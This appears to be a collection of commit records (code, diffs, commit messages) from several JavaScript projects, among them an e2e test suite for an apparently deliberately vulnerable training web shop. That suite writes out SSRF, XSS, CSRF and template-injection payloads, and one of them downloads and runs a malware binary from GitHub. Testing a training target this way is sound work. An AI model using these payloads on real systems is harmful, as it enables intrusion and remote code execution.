* @param {string} search * The search used to search for highlighted words. * * @return {Array} * An array of ReactElements */ highlightChildren: function(subject, search) { var children = []; var remaining = subject; while (remaining) { var remainingCleaned = (this.props.ignoreDiacritics ? removeDiacritics(remaining, this.props.diacriticsBlacklist) : remaining ); if (!search.test(remainingCleaned)) { children.push(this.renderPlain(remaining)); return children; } var boundaries = this.getMatchBoundaries(remainingCleaned, search); if (boundaries.first === 0 && boundaries.last === 0) { // Regex zero-width match return children; } // Capture the string that leads up to a match... var nonMatch = remaining.slice(0, boundaries.first); if (nonMatch) { children.push(this.renderPlain(nonMatch)); } // Now, capture the matching string... var match = remaining.slice(boundaries.first, boundaries.last); if (match) { children.push(this.renderHighlight(match)); } // And if there's anything left over, recursively run this method again. remaining = remaining.slice(boundaries.last); } return children; }, /** * Responsible for rending a non-highlighted element. * * @param {string} string * A string value to wrap an element around. * * @return {ReactElement} */ renderPlain: function(string) { this.count++; return React.createElement('span', { key: this.count, children: string }); }, /** * Responsible for rending a highlighted element. * * @param {string} string * A string value to wrap an element around. * * @return {ReactElement} */ renderHighlight: function(string) { this.count++; return React.createElement(this.props.matchElement, { key: this.count, className: this.props.matchClass, style: this.props.matchStyle, children: string }); } }); Highlighter.defaultProps = { caseSensitive: false, ignoreDiacritics: false, diacriticsBlacklist: '', matchElement: 'mark', matchClass: 'highlight', matchStyle: {} }; module.exports = Highlighter;
JavaScript
0.018127
@@ -1263,22 +1263,16 @@ OfType(%5B -React. PropType @@ -1281,22 +1281,16 @@ string, -React. PropType
5a2e418efebf05d29dd4b631f488c00f77c8d697
Remove dead code.
lib/http-header.js
lib/http-header.js
var BufferWriter = require('buffer-helper'); var LF = "\n".charCodeAt(0) , CR = "\r".charCodeAt(0) , SP = " ".charCodeAt(0) , CO = ":".charCodeAt(0) , H = "H".charCodeAt(0) , T = "T".charCodeAt(0) , P = "P".charCodeAt(0); var HttpHeader = function(rawHeader) { this.rawHeader = rawHeader; this.modified = false; if (rawHeader != null) { this.length = rawHeader.length; this._parse(); } } HttpHeader.prototype._isCRLF = function(buffer, index) { return (buffer[index] == CR && buffer[index+1] == LF); } HttpHeader.prototype._type = function(buff) { var i = 0, finished = false; while(i < buff.length - 3 && !finished) { if (buff[i] == H && buff[i+1] == T && buff[i+2] == T && buff[i+3] == P) { finished = true; } else { i += 1; } } return finished ? "response" : "request"; } HttpHeader.prototype.get = function(value, str) { return str ? this.header[value].toString() : this.header[value]; } HttpHeader.prototype.set = function(key, value) { this.modified = true; var val = typeof(value) == 'number' ? String(value) : value; if (!(typeof(val) == 'string' || Buffer.isBuffer(val))) { throw { name: "Invalid argument", msg: "Value should be a string or Buffer.", info: "Argument was an " + typeof(val) }; } this.length += val.length - this.header[key].length; this.header[key] = typeof(val) == 'string' ? new Buffer(val) : val; } HttpHeader.prototype.template = { response: { startLine: [ 'version', 'code', 'reason' ], field: true }, request: { startLine: [ 'method', 'path', 'version' ], field: true } } HttpHeader.prototype.getTemplate = function() { return this.template[this.header.type]; } HttpHeader.prototype.toBuffer = function() { if (!this.modified) { return this.rawHeader; } var w = new BufferWriter(new Buffer(this.length + 1)); var t = this.getTemplate(); var curs = 0; for (var i = 0; i < t.startLine.length; i++) { w.append(this.header[t.startLine[i]]); w.append(SP); } w.appendCRLF(); for (i = 0; i < this.header.fields.length; i++) { w.append([this.header.fields[i].key, CO, this.header.fields[i].value]); w.appendCRLF(); } w.appendCRLF(); w.append(this.body); return w.buffer; } HttpHeader.prototype._parse = function() { this.header = {}; this.body; var tmp; tmp = this.parseStartLine(this.rawHeader); this.header = tmp.startLine; tmp = this.parseHeaders(this.rawHeader, tmp.i + 1); this.header.fields = tmp.headers; this.body = this.parseBody(this.rawHeader, tmp.i); return this.headers; } HttpHeader.prototype.startLineVars = { request: ["method", "uri", "version"], response: ["version", "code", "reason"] }; HttpHeader.prototype.parseStartLine = function(buff, index) { var i = index != null ? index : 0; var res = {}; var token = [], tokens = [], finished = false; while (i < buff.length && !finished) { var finished = this._isCRLF(buff, i); if (buff[i] != SP && !finished) { token.push(buff[i]); } else { tokens.push(new Buffer(token)); token = []; } i += 1; } res.type = this._type(tokens[0]); for (var j=0; j < tokens.length; j++) { res[this.startLineVars[res.type][j]] = tokens[j]; } return {startLine: res, i: i}; } HttpHeader.prototype.parseHeaders = function(buff, index) { var i = index != null ? index : 0; var headers = []; var finished = false; while(i < buff.length && !finished) { if (this._isCRLF(buff, i)) { finished = true; } else { var h = this.parseHeader(buff, i); headers.push({ key: h.key, value: h.value }); i = h.i; } i += 1; } return {headers: headers, i: i}; } HttpHeader.prototype.parseHeader = function(buff, index) { var i = index != null ? index : 0; var key = [], value = []; var state = 0; while (i < buff.length && state < 3) { if (state == 0) { if (buff[i] == CO) { state = 1; } else { key.push(buff[i]); } } else if (state == 1) { if (this._isCRLF(buff, i)) { state = 3; } else { value.push(buff[i]); } } i += 1; } var res = { key: new Buffer(key), value: new Buffer(value), i: i }; return res; } HttpHeader.prototype.parseBody = function(buff, index) { return buff.slice(index + 1, buff.length); } var __prout = function() { try { var u = url.split('//'); var protocol = u[0]; var host = u[1].split('/')[0]; var rest = u[1].split('/'); } catch (e) { console.log("Error parsing : ".red +url); console.log(data.toString()); } var path = ""; if (rest != null && rest.length > 1) { for (var i = 1; i < rest.length; i++) { path += "/" + rest[i]; } } } module.exports = { HttpHeader: HttpHeader }
JavaScript
0.00001
@@ -4413,409 +4413,8 @@ %7D%0A%0A%0A -var __prout = function() %7B%0A try %7B%0A var u = url.split('//');%0A var protocol = u%5B0%5D;%0A var host = u%5B1%5D.split('/')%5B0%5D;%0A var rest = u%5B1%5D.split('/');%0A %7D catch (e) %7B%0A console.log(%22Error parsing : %22.red +url);%0A console.log(data.toString());%0A %7D%0A%0A var path = %22%22;%0A if (rest != null && rest.length %3E 1) %7B%0A for (var i = 1; i %3C rest.length; i++) %7B%0A path += %22/%22 + rest%5Bi%5D;%0A %7D%0A %7D%0A%7D%0A%0A modu
95b12878e8e15b7e61019f2dbf4cc1400403ef16
Fix tokenSecret related test case.
test/strategies/token-test.js
test/strategies/token-test.js
var vows = require('vows'); var assert = require('assert'); var url = require('url'); var util = require('util'); var TokenStrategy = require('passport-http-oauth/strategies/token'); vows.describe('TokenStrategy').addBatch({ 'strategy': { topic: function() { return new TokenStrategy(function() {}, function() {}); }, 'should be named oauth': function(strategy) { assert.equal(strategy.name, 'oauth'); }, }, 'strategy handling a valid request with credentials in header': { topic: function() { var strategy = new TokenStrategy( // consumer callback function(consumerKey, done) { done(null, { id: '1' }, 'keep-this-secret'); }, // verify callback function(accessToken, done) { done(null, { username: 'bob' }, { tokenSecret: 'lips-zipped' }); } ); return strategy; }, 'after augmenting with actions': { topic: function(strategy) { var self = this; var req = {}; strategy.success = function(user, info) { self.callback(null, user, info); } strategy.fail = function(challenge, status) { self.callback(new Error('should not be called')); } strategy.error = function(err) { self.callback(new Error('should not be called')); } req.url = '/1/users/show.json?screen_name=jaredhanson&user_id=1705'; req.method = 'GET'; req.headers = {}; req.headers['host'] = '127.0.0.1:3000'; req.headers['authorization'] = 'OAuth oauth_consumer_key="1234",oauth_nonce="A7E738D9A9684A60A40607017735ADAD",oauth_signature_method="HMAC-SHA1",oauth_timestamp="1339004912",oauth_token="abc-123-xyz-789",oauth_version="1.0",oauth_signature="TBrJJJWS896yWrbklSbhEd9MGQc%3D"'; req.query = url.parse(req.url, true).query; req.connection = { encrypted: false }; process.nextTick(function () { strategy.authenticate(req); }); }, 'should not generate an error' : function(err, user, info) { assert.isNull(err); }, 'should authenticate' : function(err, user, info) { assert.equal(user.username, 'bob'); }, }, }, 'strategy constructed without a consumer callback or verify callback': { 'should throw an error': function (strategy) { assert.throws(function() { new TokenStrategy() }); }, }, 'strategy constructed without a verify callback': { 'should throw an error': function (strategy) { assert.throws(function() { new TokenStrategy(function() {}) }); }, }, }).export(module);
JavaScript
0.000001
@@ -821,23 +821,8 @@ ' %7D, - %7B tokenSecret: 'li @@ -831,18 +831,16 @@ -zipped' - %7D );%0A
527fc02601be38796fc28272c4ab688a69b46bfb
Move assets to cdn.busdetective.com
Brocfile.js
Brocfile.js
/* global require, module */ var EmberApp = require('ember-cli/lib/broccoli/ember-app'); var app = new EmberApp({ dotEnv: { clientAllowedKeys: ['CDN_HOST'] }, fingerprint: { prepend: 'http://drwikejswixhx.cloudfront.net/' } }); // Use `app.import` to add additional libraries to the generated // output files. // // If you need to use different assets in different // environments, specify an object as the first parameter. That // object's keys should be the environment name and the values // should be the asset to use in that environment. // // If the library that you are including contains AMD or ES6 // modules that you would like to import into your application // please specify an object with the list of modules as keys // along with the exports of each module as its value. module.exports = app.toTree();
JavaScript
0
@@ -204,36 +204,28 @@ p:// -drwikejswixhx.cloudfront.net +cdn.busdetective.com /'%0A
84b6bca604a5d57a6911454ac1c106a803adae31
Add CGM identifier
lib/parsers/ccda/demographics.js
lib/parsers/ccda/demographics.js
/* * Parser for the CCDA demographics section */ Parsers.CCDA.demographics = function (ccda) { var parseDate = Documents.parseDate; var parseName = Documents.parseName; var parseAddress = Documents.parseAddress; var data = {}, el; var demographics = ccda.section('demographics'); var patient = demographics.tag('patientRole'); el = patient.elsByTag('id'); var ids = []; var id = {}; var type = ""; for (var i in el) { type = "other"; if (el[i].attr('root') === '2.16.840.1.113883.4.1') { type = "ssn"; } else if (el[i].attr('root') === 'cgm') { type = "cgm"; } id = { type: type, 'value': el[i].attr('extension'), 'root': el[i].attr('root') }; ids.push(id); } el = patient.tag('patient').tag('name'); var patient_name_dict = parseName(el); el = patient.tag('patient'); var dob = parseDate(el.tag('birthTime').attr('value')), gender = Core.Codes.gender(el.tag('administrativeGenderCode').attr('code')), marital_status = Core.Codes.maritalStatus(el.tag('maritalStatusCode').attr('code')); el = patient.tag('addr'); var patient_address_dict = parseAddress(el); el = patient.tag('telecom'); var home = el.attr('value'), work = null, mobile = null; var email = null; var language = patient.tag('languageCommunication').tag('languageCode').attr('code'), race = patient.tag('raceCode').attr('displayName'), ethnicity = patient.tag('ethnicGroupCode').attr('displayName'), religion = patient.tag('religiousAffiliationCode').attr('displayName'); el = patient.tag('birthplace'); var birthplace_dict = parseAddress(el); el = patient.tag('guardian'); var guardian_relationship = el.tag('code').attr('displayName'), guardian_home = el.tag('telecom').attr('value'); el = el.tag('guardianPerson').tag('name'); var guardian_name_dict = parseName(el); el = patient.tag('guardian').tag('addr'); var guardian_address_dict = parseAddress(el); el = patient.tag('providerOrganization'); var provider_organization = el.tag('name').val(), provider_phone = el.tag('telecom').attr('value'); var provider_address_dict = parseAddress(el.tag('addr')); data = { id: ids !== null ? ids : '', name: patient_name_dict, dob: dob, gender: gender, marital_status: marital_status, address: patient_address_dict, phone: { home: home, work: work, mobile: mobile }, email: email, language: language, race: race, ethnicity: ethnicity, religion: religion, birthplace: { state: birthplace_dict.state, zip: birthplace_dict.zip, country: birthplace_dict.country }, guardian: { name: { given: guardian_name_dict.given, family: guardian_name_dict.family }, relationship: guardian_relationship, address: guardian_address_dict, phone: { home: guardian_home } }, provider: { organization: provider_organization, phone: provider_phone, address: provider_address_dict } }; return data; };
JavaScript
0.000001
@@ -584,19 +584,39 @@ ') === ' -cgm +2.16.840.1.113883.4.825 ') %7B%0A
d486b00300e92bc48a2ad1921aeabcdc349077c8
Add explanation why CSRF test has to stay disabled
test/e2e/profileSpec.js
test/e2e/profileSpec.js
/* * Copyright (c) 2014-2020 Bjoern Kimminich. * SPDX-License-Identifier: MIT */ const config = require('config') const utils = require('../../lib/utils') describe('/profile', () => { let username, submitButton, url, setProfileImageButton protractor.beforeEach.login({ email: 'admin@' + config.get('application.domain'), password: 'admin123' }) describe('challenge "ssrf"', () => { it('should be possible to request internal resources using image upload URL', () => { browser.waitForAngularEnabled(false) browser.get('/profile') url = element(by.id('url')) submitButton = element(by.id('submitUrl')) url.sendKeys('http://localhost:3000/solve/challenges/server-side?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3') submitButton.click() browser.get('/') browser.driver.sleep(5000) browser.waitForAngularEnabled(true) }) protractor.expect.challengeSolved({ challenge: 'SSRF' }) }) if (!utils.disableOnContainerEnv()) { describe('challenge "usernameXss"', () => { it('Username field should be susceptible to XSS attacks after disarming CSP via profile image URL', () => { browser.waitForAngularEnabled(false) browser.get('/profile') const EC = protractor.ExpectedConditions url = element(by.id('url')) setProfileImageButton = element(by.id('submitUrl')) url.sendKeys("https://a.png; script-src 'unsafe-inline' 'self' 'unsafe-eval' https://code.getmdl.io http://ajax.googleapis.com") setProfileImageButton.click() browser.driver.sleep(5000) username = element(by.id('username')) submitButton = element(by.id('submit')) username.sendKeys('<<a|ascript>alert(`xss`)</script>') submitButton.click() browser.wait(EC.alertIsPresent(), 10000, "'xss' alert is not present on /profile") browser.switchTo().alert().then(alert => { expect(alert.getText()).toEqual('xss') alert.accept() }) username.clear() username.sendKeys('αδмιη') // disarm XSS submitButton.click() url.sendKeys('http://localhost:3000/assets/public/images/uploads/default.svg') setProfileImageButton.click() browser.driver.sleep(5000) browser.get('/') browser.waitForAngularEnabled(true) }) protractor.expect.challengeSolved({ challenge: 'CSP Bypass' }) }) describe('challenge "ssti"', () => { it('should be possible to inject arbitrary nodeJs commands in username', () => { browser.waitForAngularEnabled(false) browser.get('/profile') username = element(by.id('username')) submitButton = element(by.id('submit')) username.sendKeys('#{global.process.mainModule.require(\'child_process\').exec(\'wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware\')}') submitButton.click() browser.get('/') browser.driver.sleep(10000) browser.waitForAngularEnabled(true) }) protractor.expect.challengeSolved({ challenge: 'SSTi' }) }) } describe('challenge "csrf"', () => { xit('should be possible to perform a CSRF attack against the user profile page', () => { // FIXME Fails on Travis-CI. Also fails when run manually with "Uncaught DOMException: Blocked a frame with origin "http://htmledit.squarefree.com" from accessing a cross-origin frame." browser.waitForAngularEnabled(false) browser.driver.get('http://htmledit.squarefree.com') browser.driver.sleep(1000) /* The script executed below is equivalent to pasting this string into http://htmledit.squarefree.com: */ /* <form action="http://localhost:3000/profile" method="POST"><input type="hidden" name="username" value="CSRF"/><input type="submit"/></form><script>document.forms[0].submit();</script> */ browser.executeScript("document.getElementsByName('editbox')[0].contentDocument.getElementsByName('ta')[0].value = \"<form action=\\\"http://localhost:3000/profile\\\" method=\\\"POST\\\"><input type=\\\"hidden\\\" name=\\\"username\\\" value=\\\"CSRF\\\"/><input type=\\\"submit\\\"/></form><script>document.forms[0].submit();</script>\"") browser.driver.sleep(5000) browser.waitForAngularEnabled(true) }) // protractor.expect.challengeSolved({ challenge: 'CSRF' }) }) })
JavaScript
0
@@ -3196,287 +3196,222 @@ =%3E %7B -%0A xit('should be possible to perform a CSRF attack against the user profile page', () =%3E %7B // FIXME Fails on Travis-CI. Also fails when run manually with %22Uncaught DOMException: Blocked a frame with origin %22http://htmledit.squarefree.com%22 from accessing a cross-origin frame.%22 + // FIXME Only works on Chrome %3C80 but Protractor uses latest Chrome version. Test can probably never be turned on again.%0A xit('should be possible to perform a CSRF attack against the user profile page', () =%3E %7B %0A
0ae0703689814eadb876b70ab80928e62f8b891c
Fix typo
lib/commands/yuidoc.js
lib/commands/yuidoc.js
'use strict'; var execSync = require('execSync'); var fs = require('fs'); var calculateVersion = require('ember-cli-calculate-version').calculatedVersion; module.exports = { name: 'yuidoc', description: 'Generates html documentation using YUIDoc', run: function(options, rawArgs) { console.log('calculatedVersion', calculatedVersion); var config; try { var buffer = fs.readFileSync('yuidoc.json'); config = JSON.parse(buffer); } catch(e){ console.log("No yuidoc.json file in root folder. Run `ember g yuidoc` to generate one."); process.exit(1); } console.log('Generating documentation...'); var command = fs.realpathSync('./node_modules/ember-cli-yuidoc/node_modules/.bin/yuidoc') + ' -q --project-version ' + calculateVersion(); execSync.run("mkdir -p " + config.options.outdir); execSync.run(command); } }
JavaScript
0.999999
@@ -141,25 +141,24 @@ ').calculate -d Version;%0A%0Amo @@ -334,24 +334,25 @@ alculate -d Version +() );%0A v
64eebdee75b6108cb68075b01db0fd5e6b9a65b5
Add setLogger-method
lib/processors/load/prototype.js
lib/processors/load/prototype.js
/** * * @licstart The following is the entire license notice for the JavaScript code in this file. * * Base prototypes of processors, converters, record store and record set for recordLoader * * Copyright (c) 2015 University Of Helsinki (The National Library Of Finland) * * This file is part of record-loader-prototypes * * record-loader-prototypes is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * @licend The above is the entire license notice * for the JavaScript code in this file. * **/ /* istanbul ignore next: umd wrapper */ (function (root, factory) { 'use strict'; if (typeof define === 'function' && define.amd) { define(['es6-polyfills/lib/promise'], factory); } else if (typeof module === 'object' && module.exports) { module.exports = factory(require('es6-polyfills/lib/promise')); } }(this, factory)); function factory(Promise) { 'use strict'; return function(parameters) { return { run: function(record, options) { return Promise.resolve(); }, setRecordStore: function(record_store) { }, setConverter: function(converter) { }, setResultsLevel: function(results_level) { } }; }; }
JavaScript
0.000002
@@ -1811,24 +1811,72 @@ vel)%0A%09 %7B%0A +%09 %7D,%0A%09 setLogger: function(logger)%0A%09 %7B%0A %09 %7D%0A%09%7D;%0A
6f2e0ec6227c3cc54653da2361d411f7a42b8d43
remove debug print
lib/dashboard/index.js
lib/dashboard/index.js
'use strict'; var express = require('express'); var configHelper = require('../config'); var log = require('../logger')('nodecg/lib/dashboard'); var bundles = require('../bundles'); var favicon = require('express-favicon'); var path = require('path'); var fs = require('fs'); var ncgUtils = require('../util'); var jade = require('jade'); var app = express(); var filteredConfig = configHelper.getFilteredConfig(); var publicPath = path.join(__dirname, 'public'); var cachedDashboard = null; log.trace('Adding Express routes'); app.use('/dashboard', express.static(publicPath)); app.use(favicon(publicPath + '/img/favicon.ico')); app.set('views', publicPath); app.get('/', function(req, res) { res.redirect('/dashboard/'); }); app.get('/dashboard', ncgUtils.authCheck, function(req, res) { res.status(200).send(cachedDashboard); }); app.get('/panel/:bundle/:panel/', function(req, res, next) { // Check if the specified bundle exists var bundleName = req.params.bundle; var bundle = bundles.find(bundleName); if (!bundle) { next(); return; } // Check if the specified panel exists within this bundle var panelName = req.params.panel; var panel = null; bundle.dashboard.panels.some(function(p) { if (p.name === panelName) { panel = p; return true; } else { return false; } }); if (!panel) { next(); return; } var fileLocation = path.join(bundle.dashboard.dir, panel.file); var html = require('../util').injectScripts(fileLocation, bundle, true); console.log(html); res.send(html); }); app.get('/panel/:bundle/components/*', function(req, res, next) { var bundleName = req.params.bundle; var bundle = bundles.find(bundleName); if (!bundle) { next(); return; } var resName = req.params[0]; var fileLocation = path.join(bundle.dir, 'bower_components', resName); // Check if the file exists if (!fs.existsSync(fileLocation)) { next(); return; } res.sendFile(fileLocation); }); app.get('/panel/:bundle/*', function(req, res, next) { var bundleName = req.params.bundle; var bundle = bundles.find(bundleName); if (!bundle) { next(); return; } var resName = req.params[0]; var fileLocation = path.join(bundle.dashboard.dir, resName); // Check if the file exists if (!fs.existsSync(fileLocation)) { next(); return; } res.sendFile(fileLocation); }); function cacheDashboard() { cachedDashboard = jade.renderFile(__dirname + '/src/dashboard.jade', { bundles: bundles.all(), ncgConfig: filteredConfig }); } // When all bundles are first loaded, render and cache the dashboard bundles.on('allLoaded', cacheDashboard); // When a panel is re-parsed, re-render and cache the dashboard bundles.on('panelsChanged', cacheDashboard); module.exports = app;
JavaScript
0.000008
@@ -1607,32 +1607,8 @@ );%0A%0A - console.log(html);%0A%0A
68932d8d8adb3001492238643809e404622a8f3a
Use minify html flag
src/configs/webpack/react-app.js
src/configs/webpack/react-app.js
// Licensed under the Apache License, Version 2.0 (the “License”); you may not // use this file except in compliance with the License. You may obtain a copy of // the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an “AS IS” BASIS, WITHOUT // WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the // License for the specific language governing permissions and limitations under // the License. import Html from './plugins/Html' import shared from './shared' import {existsSync} from 'fs' import {getProjectDir, TOOLBOX_DIR} from '../../paths' import {getSettings} from '../../settings' import {isProduction} from '../../utils' import {join} from 'path' let { externals = {}, minify, } = getSettings() const PROJECT_DIR = getProjectDir() const PROJECT_SRC_DIR = join(PROJECT_DIR, 'src') const REACT_ENTRY_DIR = join(TOOLBOX_DIR, 'entries', 'react') /** * This function will check if there’s an entry point “main.js” in the project’s * directory and if it doesn’t find it, set to the default one. In 99% of the * cases the custom entry will not be needed specially because the default one * wires a bunch of helpers to trace bugs and enable hot reloading during * development. */ function setEntryPoint(config) { const CUSTOM_ENTRY = join(PROJECT_SRC_DIR, 'main.js') if (!existsSync(CUSTOM_ENTRY)) { const ENV = isProduction() ? 'production' : 'development' config.entry.index = join(REACT_ENTRY_DIR, `main.${ENV}.js`) } else config.entry.index = CUSTOM_ENTRY } /** * Check if there’s a custom HTML template for the app and if none is found, use * the default one. The custom template might be useful if the programmer wants * to add extra information on the header without having to wait for react to * load. */ function setHtmlTemplate(config) { const DEFAULT_TEMPLATE = join(REACT_ENTRY_DIR, 'index.html') const CUSTOM_TEMPLATE = join(PROJECT_SRC_DIR, 'index.html') let templatePath = existsSync(CUSTOM_TEMPLATE) ? CUSTOM_TEMPLATE : DEFAULT_TEMPLATE let cdnScripts = [] for (let key in externals) { let {cdn} = externals[key] if (typeof cdn === 'string') { cdnScripts.push(cdn) continue } if (Array.isArray(cdn)) { cdnScripts = [ ...cdnScripts, ...cdn, ] continue } let {development, production} = cdn if (isProduction()) cdnScripts.push(production) else cdnScripts.push(development) } config.plugins.push(new Html({ head: { appendScripts: cdnScripts, }, minify, templatePath, })) } /** * Final configuration to build react applications. */ export default function () { let config = shared() config.output = { ...config.output, path: join(config.output.path, 'web'), } setEntryPoint(config) setHtmlTemplate(config) config.target = 'web' return [config] }
JavaScript
0.000582
@@ -839,16 +839,30 @@ minify,%0A + minifyHtml,%0A %7D = getS @@ -2710,24 +2710,46 @@ ,%0A minify +: minify %7C%7C minifyHtml ,%0A templa
71fe5798c8fc0cbde8f1476ea067e61154c6cb2f
add opts to sendSingleMessage, sendSingleMessageAndReceive
lib/json-socket.js
lib/json-socket.js
var net = require('net'); var StringDecoder = require('string_decoder').StringDecoder; var decoder = new StringDecoder(); var JsonSocket = function(socket, opts) { this._socket = socket; this._contentLength = null; this._buffer = ''; this._opts = opts || {} if (!this._opts.delimeter) { this._opts.delimeter = '#' } this._closed = false; socket.on('data', this._onData.bind(this)); socket.on('connect', this._onConnect.bind(this)); socket.on('close', this._onClose.bind(this)); socket.on('err', this._onError.bind(this)); }; module.exports = JsonSocket; JsonSocket.sendSingleMessage = function(port, host, message, callback) { callback = callback || function(){}; var socket = new JsonSocket(new net.Socket()); socket.connect(port, host); socket.on('error', function(err) { callback(err); }); socket.on('connect', function() { socket.sendEndMessage(message, callback); }); }; JsonSocket.sendSingleMessageAndReceive = function(port, host, message, callback) { callback = callback || function(){}; var socket = new JsonSocket(new net.Socket()); socket.connect(port, host); socket.on('error', function(err) { callback(err); }); socket.on('connect', function() { socket.sendMessage(message, function(err) { if (err) { socket.end(); return callback(err); } socket.on('message', function(message) { socket.end(); if (message.success === false) { return callback(new Error(message.error)); } callback(null, message) }); }); }); }; JsonSocket.prototype = { _onData: function(data) { data = decoder.write(data); try { this._handleData(data); } catch (e) { this.sendError(e); } }, _handleData: function(data) { this._buffer += data; if (this._contentLength == null) { var i = this._buffer.indexOf(this._opts.delimeter); //Check if the buffer has a this._opts.delimeter or "#", if not, the end of the buffer string might be in the middle of a content length string if (i !== -1) { var rawContentLength = this._buffer.substring(0, i); this._contentLength = parseInt(rawContentLength); if (isNaN(this._contentLength)) { this._contentLength = null; this._buffer = ''; var err = new Error('Invalid content length supplied ('+rawContentLength+') in: '+this._buffer); err.code = 'E_INVALID_CONTENT_LENGTH'; throw err; } this._buffer = this._buffer.substring(i+1); } } if (this._contentLength != null) { var length = Buffer.byteLength(this._buffer, 'utf8'); if (length == this._contentLength) { this._handleMessage(this._buffer); } else if (length > this._contentLength) { var message = this._buffer.substring(0, this._contentLength); var rest = this._buffer.substring(this._contentLength); this._handleMessage(message); this._onData(rest); } } }, _handleMessage: function(data) { this._contentLength = null; this._buffer = ''; var message; try { message = JSON.parse(data); } catch (e) { var err = new Error('Could not parse JSON: '+e.message+'\nRequest data: '+data); err.code = 'E_INVALID_JSON'; throw err; } message = message || {}; this._socket.emit('message', message); }, sendError: function(err) { this.sendMessage(this._formatError(err)); }, sendEndError: function(err) { this.sendEndMessage(this._formatError(err)); }, _formatError: function(err) { return {success: false, error: err.toString()}; }, sendMessage: function(message, callback) { if (this._closed) { if (callback) { callback(new Error('The socket is closed.')); } return; } this._socket.write(this._formatMessageData(message), 'utf-8', callback); }, sendEndMessage: function(message, callback) { var that = this; this.sendMessage(message, function(err) { that.end(); if (callback) { if (err) return callback(err); callback(); } }); }, _formatMessageData: function(message) { var messageData = JSON.stringify(message); var length = Buffer.byteLength(messageData, 'utf8'); var data = length + this._opts.delimeter + messageData; return data; }, _onClose: function() { this._closed = true; }, _onConnect: function() { this._closed = false; }, _onError: function() { this._closed = true; }, isClosed: function() { return this._closed; } }; var delegates = [ 'connect', 'on', 'end', 'setTimeout', 'setKeepAlive' ]; delegates.forEach(function(method) { JsonSocket.prototype[method] = function() { this._socket[method].apply(this._socket, arguments); return this } });
JavaScript
0
@@ -660,32 +660,38 @@ essage, callback +, opts ) %7B%0A callback @@ -759,32 +759,38 @@ new net.Socket() +, opts );%0A socket.co @@ -1049,32 +1049,38 @@ essage, callback +, opts ) %7B%0A callback @@ -1156,16 +1156,22 @@ Socket() +, opts );%0A s
27653d11497cd0939f15811f88eedd564cef01cc
Fix project previews (#1684)
src/containers/ProjectPreview.js
src/containers/ProjectPreview.js
import {connect} from 'react-redux'; import ProjectPreview from '../components/ProjectPreview'; import {changeCurrentProject} from '../actions'; import { getCurrentProjectKey, getCurrentProjectPreview, getProject, } from '../selectors'; function makeMapStateToProps() { return function mapStateToProps(state, {projectKey}) { return { preview: getCurrentProjectPreview(state), isSelected: projectKey === getCurrentProjectKey(state), project: getProject(state, {projectKey}), }; }; } function mapDispatchToProps(dispatch, {projectKey}) { return { onProjectSelected() { dispatch(changeCurrentProject(projectKey)); }, }; } export default connect( makeMapStateToProps, mapDispatchToProps, )(ProjectPreview);
JavaScript
0
@@ -150,33 +150,30 @@ ort %7B%0A -getCurren +makeGe tProject Key,%0A g @@ -164,19 +164,23 @@ tProject -Key +Preview ,%0A getC @@ -188,31 +188,27 @@ rrentProject -Preview +Key ,%0A getProje @@ -264,24 +264,78 @@ ToProps() %7B%0A + const getProjectPreview = makeGetProjectPreview();%0A%0A return fun @@ -406,31 +406,24 @@ preview: get -Current ProjectPrevi @@ -426,24 +426,38 @@ review(state +, %7BprojectKey%7D ),%0A isS
265ad9d23f629c80c6e37735f63bee6ecd83d399
add MAX_PLACEABLES
lib/l20n/parser.js
lib/l20n/parser.js
if (typeof define !== 'function') { var define = require('amdefine')(module); } define(function (require, exports, module) { 'use strict'; var EventEmitter = require('./events').EventEmitter; var nestedProps = ['style', 'dataset']; function Parser() { /* Public */ this.parse = parse; this.parseString = parseComplexString; this.addEventListener = addEventListener; this.removeEventListener = removeEventListener; var _emitter = new EventEmitter(); var patterns = { comment: /^\s*#|^\s*$/, entity: /^([^=\s]*)\s*=\s*(.+)$/, multiline: /[^\\]\\$/, plural: /\{\[\s*plural\(([^\)]+)\)\s*\]\}/, unicode: /\\u([0-9a-fA-F]{1,4})/g }; function parse(source) { var ast = {}; var entries = source.split(/[\r\n]+/); for (var i = 0; i < entries.length; i++) { var line = entries[i]; if (patterns['comment'].test(line)) { continue; } while (patterns['multiline'].test(line) && i < entries.length) { line = line.slice(0, line.length - 1) + entries[++i].trim(); } var entity_match = line.match(patterns['entity']); if (entity_match && entity_match.length == 3) { parseEntity(entity_match, ast); } } return { type: 'WebL10n', body: ast }; } function setEntityValue(id, attr, key, value, ast) { var entry = ast[id]; var item; if (!entry) { entry = {}; ast[id] = entry; } if (attr) { if (!entry.attrs) { entry.attrs = {}; } if (!entry.attrs[attr]) { entry.attrs[attr] = {}; } item = entry.attrs[attr]; } else { item = entry; } if (!key) { item.value = value; } else { if (item.value.type !== 'Hash') { var match = item.value.content.match(patterns['plural']); if (!match) { throw new ParserError('Expected macro call'); } item.index = [ { type: 'CallExpression', callee: { type: 'Identifier', name: 'plural' }, arguments: [{ type: 'Identifier', name: match[1].trim() }] } ]; item.value = { type: 'Hash', content: [] }; } item.value.content.push({ type: 'HashItem', key: key, value: value }); if (key === 'other') { item.value.content[item.value.content.length - 1].default = true; } } } function parseEntity(match, ast) { var name, key, attr, pos; var value = parseString(match[2]); pos = match[1].indexOf('['); if (pos !== -1) { name = match[1].substr(0, pos); key = match[1].substring(pos + 1, match[1].length - 1); } else { name = match[1]; key = null; } var nameElements = name.split('.'); if (nameElements.length > 1) { var attrElements = []; attrElements.push(nameElements.pop()); if (nameElements.length > 1) { // special quirk to comply with webl10n's behavior if (nestedProps.indexOf( nameElements[nameElements.length - 1]) !== -1) { attrElements.push(nameElements.pop()); } } name = nameElements.join('.'); attr = attrElements.reverse().join('.'); } else { attr = null; } setEntityValue(name, attr, key, value, ast); } function unescapeUnicode(str) { if (str.lastIndexOf('\\') !== -1) { str = str.replace(/\\\\/g, '\\') .replace(/\\n/g, 